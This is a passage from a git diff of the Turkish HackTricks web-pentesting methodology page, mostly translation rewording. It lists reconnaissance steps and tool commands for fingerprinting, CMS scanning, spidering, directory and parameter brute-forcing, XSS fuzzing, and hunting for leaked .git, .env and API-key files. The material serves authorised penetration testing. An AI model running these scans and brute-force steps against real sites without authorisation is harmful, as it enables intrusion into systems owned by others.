edin**. -* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 40c01a685..2d1a92a6b 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -2,27 +2,27 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking hilelerinizi paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). +Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %} ## Temel Bilgiler -Web servisi en **yaygın ve kapsamlı hizmet**tir ve birçok **farklı türde zayıflık** bulunmaktadır. +Web servisi en **sık karşılaşılan ve kapsamlı hizmet**tir ve birçok **farklı türde zayıflık** bulunmaktadır. **Varsayılan port:** 80 (HTTP), 443(HTTPS) ```bash @@ -43,36 +43,36 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ## Metodoloji özeti -> Bu metodolojide, bir alan adına (veya alt alan adına) saldırı gerçekleştireceğinizi varsayacağız. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsamı içinde belirlenemeyen web sunucusuna uygulamanız gerekmektedir. +> Bu metodolojide, bir alan adına (veya alt alan adına) saldırı gerçekleştireceğinizi varsayacağız. Bu nedenle, bu metodolojiyi belirlenen her alan, alt alan veya kapsamı içinde belirlenemeyen bir web sunucusuna uygulamanız gerekmektedir. -* [ ] İlk olarak, web sunucusu tarafından kullanılan **teknolojileri belirleyin**. Eğer teknolojiyi başarılı bir şekilde belirleyebilirseniz, test sürecinde akılda tutulacak **püf noktaları** arayın. -* [ ] Kullanılan teknolojinin **bilinen bir zafiyeti** var mı? -* [ ] **Tanınmış bir teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için **yararlı bir püf noktası** var mı? -* [ ] Çalıştırılacak **özel tarama araçları** var mı (örneğin wpscan)? -* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bulabilecekleri bir şey olup olmadığını veya ilginç bilgiler bulabileceklerini asla bilemezsiniz. +* [ ] İlk olarak, web sunucusu tarafından kullanılan **teknolojileri belirleyin**. Eğer teknolojiyi başarılı bir şekilde belirleyebilirseniz, testin geri kalanı sırasında akılda tutulacak **püf noktaları** arayın. +* [ ] Kullanılan teknolojinin versiyonuna ait **bilinen bir zayıflık** var mı? +* [ ] **Tanınmış bir teknoloji** kullanılıyor mu? Daha fazla bilgi çıkarmak için **yararlı bir püf noktası** var mı? +* [ ] Çalıştırılacak **özel tarama aracı** var mı (örneğin wpscan)? +* [ ] **Genel amaçlı tarama araçlarını** başlatın. Bir şey bulacaklarını veya ilginç bilgiler bulacaklarını asla bilemezsiniz. * [ ] İlk kontrollerle başlayın: **robots**, **sitemap**, **404** hata ve **SSL/TLS taraması** (HTTPS ise). -* [ ] Web sayfasını **spidering** işlemine başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca, **özel bulguları** kontrol edin. -* [ ] _Herhangi bir yeni dizin, brute-forcing veya spidering sırasında keşfedildiğinde, spidering işlemine tabi tutulmalıdır._ +* [ ] Web sayfasını **spidering** işlemine başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulguları** kontrol edin. +* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin spider edilmelidir._ * [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri tarayarak yeni **dosyaları** ve **dizinleri** brute force etmeye çalışın. -* [ ] _Herhangi bir yeni dizin, brute-forcing veya spidering sırasında keşfedildiğinde, brute force edilmelidir._ -* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların yedeklerini bulmaya çalışarak ortak yedek uzantılarını ekleyin. +* [ ] _Herhangi bir brute-force veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin brute force edilmelidir._ +* [ ] **Yedeklerin kontrol edilmesi**: Keşfedilen dosyaların yedeklerini bulabilir misiniz, yaygın yedek uzantılarını ekleyerek test edin. * [ ] **Parametreleri Brute-Force etme**: **Gizli parametreleri** bulmaya çalışın. -* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** belirledikten sonra, bunlarla ilgili tüm türden **zafiyetleri** kontrol edin. +* [ ] Tüm olası **kullanıcı girişi kabul eden uç noktaları** belirledikten sonra, bunlarla ilgili **tüm zayıflıkları** kontrol edin. * [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology/) -## Sunucu Sürümü (Zafiyetli mi?) +## Sunucu Versiyonu (Zayıf mı?) ### Belirleme -Çalışan sunucu **sürümü** için **bilinen zafiyetlerin** olup olmadığını kontrol edin.\ -**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü belirlemek** için oldukça yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir. +Çalışan sunucu **versiyonu** için **bilinen zayıflıkların** olup olmadığını kontrol edin.\ +**Yanıtın HTTP başlıkları ve çerezleri**, kullanılan **teknolojileri** ve/veya **versiyonu belirlemek** için oldukça yararlı olabilir. **Nmap taraması** sunucu versiyonunu belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)veya [**https://builtwith.com/**](https://builtwith.com)**:** gibi araçlar da faydalı olabilir. ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -**Web uygulamasının sürüm** **açıklarını arayın** [**için**](../../generic-methodologies-and-resources/search-exploits.md) +**Web uygulamasının güvenlik açıklarını arayın** [**sürüm** **versiyonu** arayın](../../generic-methodologies-and-resources/search-exploits.md) ### **Herhangi bir WAF olup olmadığını kontrol edin** @@ -82,7 +82,7 @@ webanalyze -host https://google.com -crawl 2 ### Web teknik hileler -Farklı tanınmış **teknolojilerdeki açıkları bulmak** için bazı **hileler**: +Farklı tanınmış **teknolojilerdeki güvenlik açıklarını bulmak** için bazı **hileler**: * [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) * [**Apache**](apache.md) @@ -116,19 +116,19 @@ Farklı tanınmış **teknolojilerdeki açıkları bulmak** için bazı **hilele * [**Wordpress**](wordpress.md) * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) -_Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanabileceğini unutmayın._\ -Web uygulaması herhangi bir önce **listelenen teknoloji/platform** veya **başka bir** teknoloji kullanıyorsa, **İnternet'te** yeni hileler aramayı unutmayın (ve bana bildirin!). +_Aynı **alan** farklı **teknolojileri** farklı **portlarda**, **klasörlerde** ve **alt alanlarda** kullanabilir._\ +Eğer web uygulaması herhangi bir önceki **teknoloji/platform** veya **başka birini** kullanıyorsa, **İnternet'te** yeni hileler aramayı unutmayın (ve bana bildirin!). ### Kaynak Kod İncelemesi -Uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi White box testini** gerçekleştirmenin yanı sıra, mevcut **Black-Box testi** için **yararlı olabilecek bazı bilgiler** bulunmaktadır: +Uygulamanın **kaynak kodu** github'da mevcutsa, uygulamanın **kendi beyaz kutu testini** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler** bulunmaktadır: -* Web üzerinden erişilebilen **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya **sürüm bilgisi** olan herhangi bir şey var mı? +* Web üzerinden erişilebilen **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya herhangi bir **sürüm bilgisi** var mı? * **Kimlik bilgileri** nerede ve nasıl saklanıyor? Kimlik bilgilerini içeren (erişilebilir mi?) **dosya** var mı (kullanıcı adları veya şifreler)? -* **Şifreler** **düz metin mi**, **şifrelenmiş mi** veya hangi **hashleme algoritması** kullanılıyor? +* **Şifreler** düz metin mi, **şifrelenmiş** mi veya hangi **hashleme algoritması** kullanılıyor? * Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor? -* Bazı bir **açığı istismar ederek** bu dosyalardan **herhangi birine erişebilir misiniz**? -* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **commit geçmişinde** (belki eski bir commit içinde bir **şifre** bulunabilir) **ilginç bilgiler** var mı? +* Bazı bir **zafiyeti istismar ederek** bu dosyalardan herhangi birine **erişebilir misiniz**? +* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **taahhüt geçmişinde** (belki eski bir taahhüt içinde bir **şifre** bulunabilir mi?) **ilginç bilgiler** var mı? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -148,12 +148,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS tarama araçları +#### CMS tarayıcıları -Eğer bir CMS kullanılıyorsa, **bir tarama aracı çalıştırmayı** unutmayın, belki ilginç şeyler bulunabilir: +Eğer bir CMS kullanılıyorsa, **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç şeyler bulunabilir: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için güvenlik sorunlarını tarar. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için güvenlik sorunlarını taramak için. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **veya** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -163,9 +163,9 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Bu noktada, müşteri tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktalar olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı taramalar yapmış olabilirsiniz. +> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktaları olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı taramalar yapmış olabilirsiniz. -## Adım adım Web Uygulaması Keşfi +## Adım adım Web Uygulama Keşfi > Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız. @@ -182,19 +182,19 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Hataları Zorlama** -Web sunucuları, tuhaf verilerin kendilerine gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin ifşasını** açabilir. +Web sunucuları, üzerlerine garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin ifşa edilmesini** açabilir. * /whatever\_fake.php (.aspx,.html,.vb gibi) gibi **sahte sayfalara** erişin -* Hatalar oluşturmak için **"\[]", "]]" ve "\[\["** gibi **çerez değerlerini** ve **parametre** değerlerini ekleyin +* Hatalar oluşturmak için **"\[]", "]]" ve "\[\["** gibi değerleri **çerez** ve **parametre** değerlerine ekleyin * URL'nin **sonuna** **`/~randomthing/%s`** olarak giriş yaparak hata oluşturun -* PATCH, DEBUG gibi **farklı HTTP Fiillerini** veya yanlış olanları FAKE gibi deneyin +* **PATCH, DEBUG** gibi **farklı HTTP Fiillerini** veya yanlış olan **FAKE**'yi deneyin #### **Dosya yükleme olanağını kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)** -Eğer **WebDav'ın** **etkin** olduğunu fark ederseniz ancak kök klasöre **dosya yüklemek için yeterli izniniz yoksa**, şunları deneyin: +Eğer **WebDav**'in **etkin** olduğunu ancak kök klasöre **dosya yüklemek için yeterli izninizin olmadığını** bulursanız şunları deneyin: * Kimlik bilgilerini **Brute Force** ile deneyin -* WebDav aracılığıyla dosya **yüklemeye çalışın** ve web sayfasının içinde **bulunan diğer klasörlere** dosya yüklemek için izniniz olabilir. +* WebDav aracılığıyla dosya **yükleyin** ve web sayfasının içinde bulunan **diğer klasörlere** dosya yükleme izniniz olabilir. ### **SSL/TLS zafiyetleri** @@ -217,18 +217,18 @@ sslyze --regular ### Ağ Taraması -Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen uygulamadan **mümkün olduğunca çok yol bulmaktır**. Bu nedenle, mümkün olduğunca çok geçerli yol bulmak için web taraması ve harici kaynaklar kullanılmalıdır. +Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen uygulamadan **mümkün olan en fazla yol** u bulmaktır. Bu nedenle, mümkün olduğunca çok geçerli yol bulmak için web taraması ve harici kaynaklar kullanılmalıdır. * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML örümcek, JS dosyalarında LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML örümcek, JS dosyalarında LinkFinder ve harici kaynak olarak Archive.org. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML örümcek, ayrıca "önemli dosyaları" belirtir. * [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML örümcek. Ayrıca Archive.org'da arama yapar. -* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değildir ancak yararlı olabilir. Sadece bir dosya ile hostlar ve yolların bulunduğu bir dosya belirtirseniz, meg her yolu her hostta alacak ve yanıtı kaydedecektir. -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS derleme yeteneklerine sahip HTML örümcek. Ancak, bakımsız gibi görünüyor, derlenmiş sürüm eski ve mevcut kod derlenmiyor. +* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değildir ancak yararlı olabilir. Sadece her bir ana bilgisayar için bir dosya ve her bir ana bilgisayar üzerindeki her yolu alacak ve yanıtı kaydedecektir. +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yetenekleri olan HTML örümcek. Ancak, bakımsız gibi görünüyor, derlenmiş sürüm eski ve mevcut kod derlenmiyor. * [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML örümcek (wayback, otx, commoncrawl). * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik parametre içeren URL'leri bulacak ve listeleyecektir. -* [**galer**](https://github.com/dwisiswant0/galer) (go): JS derleme yeteneklerine sahip HTML örümcek. -* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner)'a da bakmak faydalı olabilir, bu, LinkFinder'ın bir sarmalayıcısıdır. +* [**galer**](https://github.com/dwisiswant0/galer) (go): JS işleme yetenekleri olan HTML örümcek. +* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) 'a da bakmak faydalı olabilir, bu, LinkFinder'ın bir sarmalayıcısıdır. * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takımlar, bilgi güvenliği uzmanları için faydalıdır. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): AJAX isteklerini kolayca keşfetmek için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. Bakımsız gibi görünüyor. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreceli URL'leri bulmak ve çıkarmak için nifty düzenli ifadeleri kullanır. @@ -239,15 +239,15 @@ Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametreleri bulmak için bir Burp uzantısı. * [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde güzel JS kodunu alacak bir araç * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır. -* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback machine'den bağlantıları keşfet (ayrıca wayback'ten yanıtları indirir ve daha fazla bağlantı arar -* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): (Formları doldurarak bile) tarama yapar ve özel regexler kullanarak hassas bilgileri bulur. +* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (ayrıca wayback'ten yanıtları indirin ve daha fazla bağlantı arayın +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): (Formları doldurarak bile) tarama yapın ve özel regex'leri kullanarak hassas bilgileri bulun. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik uzmanları için tasarlanmış gelişmiş çok özellikli GUI web güvenliği Tarama/Örümcek aracıdır. -* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'leri, yolları, sırları ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)'dır. -* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Parametreleri ve uç noktaları çıkarmak için isteğin burp geçmişinden özel kelime listesi oluşturmak için basit bir **Burp Suite uzantısı**dır. +* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'leri, yolları, sırları ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Parametreleri ve uç noktaları çıkarmak için isteğin burp geçmişinden özel kelime listesi oluşturmak için basit bir **Burp Suite uzantısı**. -### Dizinler ve Dosyalar İçin Kaba Kuvvet Saldırısı +### Dizinler ve Dosyaları Kaba Kuvvet ile Deneme -Kök klasörden **kaba kuvvet saldırısına** başlayın ve bu yöntemle bulunan **tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet saldırısı yaparak (bu kaba kuvvet saldırısını **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek) emin olun.\ +Kök klasörden **kaba kuvvet uygulamaya başlayın** ve **bu yöntemle bulunan tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet uygulayarak (bu kaba kuvveti **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek) emin olun.\ Araçlar: * **Dirb** / **Dirbuster** - Kali'de bulunur, **eski** (ve **yavaş**) ancak işlevsel. Otomatik imzalı sertifikalara ve tekrarlayan aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş. @@ -256,10 +256,10 @@ Araçlar: * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, tekrarlayan aramayı destekler.** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir örümcek değil, bulunan URL'lerin listesini "tekrarlanan" URL'leri silmek için kullanılan bir araçtır. +* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir örümcek değil, bulunan URL'lerin listesini "tekrarlanan" URL'leri silmek için kullanır. * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizin listesi oluşturmak için bir Burp Uzantısı -* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Js içe aktarmalara dayalı olarak tekrarlanan işlevselliklere sahip URL'leri kaldırır -* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak kelime listelerini seçmek için wapalyzer'ı kullanan bir araç. +* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Js içe aktarmalara dayalı olarak tekrarlanan işlevselliklere sahip URL'leri kaldırır. +* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak kelime listelerini seçmek için wapalyzer'ı kullanır. **Tavsiye edilen sözlükler:** @@ -285,13 +285,13 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin * [**Bozuk bağlantı kontrolcüsü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilebilecek HTML içindeki bozuk bağlantıları bulun * **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Bir yedek dosyanın adlandırılması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**'i** kullanabilirsiniz. -* **Yeni parametreler keşfetme**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz. +* **Yeni parametreler keşfet**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz. * _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz. -* **CTF** oynuyorsanız, bir "ortak" hile, bilgileri sayfanın sağında (verileri tarayıcıyla kaynak kodunu açtığınızda görmemeniz için yüzlerce boşluk kullanarak) yorumlarda gizlemektir. Diğer bir olasılık da **birkaç yeni satır** kullanarak ve web sayfasının **altında** bir yorumda bilgi gizlemektir. +* **CTF** oynuyorsanız, bir "ortak" hile, bilgileri sayfanın sağında (verileri tarayıcıyla açarsanız verileri görmemeniz için yüzlerce boşluk kullanarak) yorumlarda gizlemektir. Diğer bir olasılık da **birkaç yeni satır** kullanarak ve web sayfasının **altında** bir yorumda bilgi gizlemektir. * **API anahtarları**: **Herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanılacağını gösteren bir rehber vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) * Google API anahtarları: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi bir API anahtarı bulursanız, anahtarın hangi API'lere erişebileceğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. * **S3 Buckets**: Spidering yaparken, herhangi bir **alt alan adının** veya **bağlantının** bir **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın izinlerini** kontrol edin](buckets/). @@ -302,18 +302,18 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin **İlginç dosyalar** -* **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın. +* **CSS** dosyaları içindeki diğer dosyalara **bağlantıları** arayın. * [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md) * Eğer bir _**.env**_ dosyası bulursanız, api anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir. -* **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara benzerler. +* Eğer **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara benzer olacaklar. * **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araç belirtilmiştir. Ayrıca, her bulunan JS dosyasını **izlemek ilginç olabilir**, çünkü bazen bir değişiklik, potansiyel bir güvenlik açığına yol açmış olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz. -* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zayıf olup olmadığını bulmak için. +* Keşfedilen JS 